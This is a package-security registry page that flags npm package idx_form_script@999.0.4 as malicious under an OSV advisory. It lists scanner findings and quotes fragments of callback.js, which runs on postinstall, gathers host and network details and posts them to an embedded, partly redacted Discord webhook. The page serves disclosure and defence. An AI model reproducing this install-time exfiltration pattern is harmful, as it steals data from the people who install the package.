registry / idx_form_script / 999.0.4

idx_form_script@999.0.4

⚠ Under review

OSV Malicious Advisory

imported 21d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16243 confirms this npm version as malicious.

Advisory

MAL-2026-16243

Source

OpenSSF Malicious Packages via OSV

Decision reason

Automated AI review exhausted its retry budget. This package remains unresolved and must not warn or block users.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 10.0 KB of source, external domains: api.ipify.org, discord.com

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

callback.jsView file

11L12: const https = require('https'); L13: const http = require('http'); L14: const os = require('os'); L15: const { execSync } = require('child_process'); L16: ... L27: try { L28: const interfaces = os.networkInterfaces(); L29: for (const name of Object.keys(interfaces)) { ... L47: try { L48: resolve(JSON.parse(data).ip); L49: } catch (e) {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

callback.jsView on unpkg · L11

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L11

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

callback.jsView on unpkg · L11

11Trigger-reachable chain: scripts.postinstall -> callback.js L11: L12: const https = require('https'); L13: const http = require('http'); L14: const os = require('os'); L15: const { execSync } = require('child_process'); L16: ... L27: try { L28: const interfaces = os.networkInterfaces(); L29: for (const name of Object.keys(interfaces)) { ... L47: try { L48: resolve(JSON.parse(data).ip); L49: } catch (e) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L11

•Manifest-reachable source serializes caller or host-sensitive data to a package-embedded authenticated webhook. callback.js: const DISCORD_WEBHOOK = 'https://discord.[redacted]5GuFgIOVr6N3uWQumdUWgjxS_NpkMfW6f8lqA0ySn7HHgXRyeZxc3HG-9kiEbhbHHXe-'; const data = JSON.stringify(systemInfo); method: 'POST', const encoded = Buffer.from(JSON.stringify(info)) const payload = JSON.stringify({ method: 'POST',

High

Fixed Authenticated Webhook Data Exfiltration

Manifest-reachable source sends caller or host-sensitive data to a package-embedded authenticated webhook.

callback.jsView on unpkg

11Trigger-reachable credential exfiltration chain: scripts.postinstall -> callback.js L11: L12: const https = require('https'); L13: const http = require('http'); L14: const os = require('os'); L15: const { execSync } = require('child_process'); L16: ... L27: try { L28: const interfaces = os.networkInterfaces(); L29: for (const name of Object.keys(interfaces)) { ... L47: try { L48: resolve(JSON.parse(data).ip); L49: } catch (e) {

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L11

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

callback.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

callback.jsView on unpkg · L11

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L11

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

callback.jsView on unpkg · L11

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L11

High

Fixed Authenticated Webhook Data Exfiltration

Manifest-reachable source sends caller or host-sensitive data to a package-embedded authenticated webhook.

callback.jsView on unpkg

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L11

Findings

4 Critical3 High3 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationcallback.js

CriticalCredential Exfiltrationcallback.js

CriticalDns Exfiltrationcallback.js

CriticalTrigger Reachable Dangerous Capabilitycallback.js

HighInstall Time Lifecycle Scriptspackage.json

HighFixed Authenticated Webhook Data Exfiltrationcallback.js

HighTrigger Reachable Credential Exfiltrationcallback.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to idx_form_script@999.0.4.

See version security history for other recorded verdicts.

Review the evidence and your use of idx_form_script@999.0.4 before allowing it. Restrict the permissions described in this report.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.

Evidence last updated: 2026-09-17 22:49:57.889Z (UTC).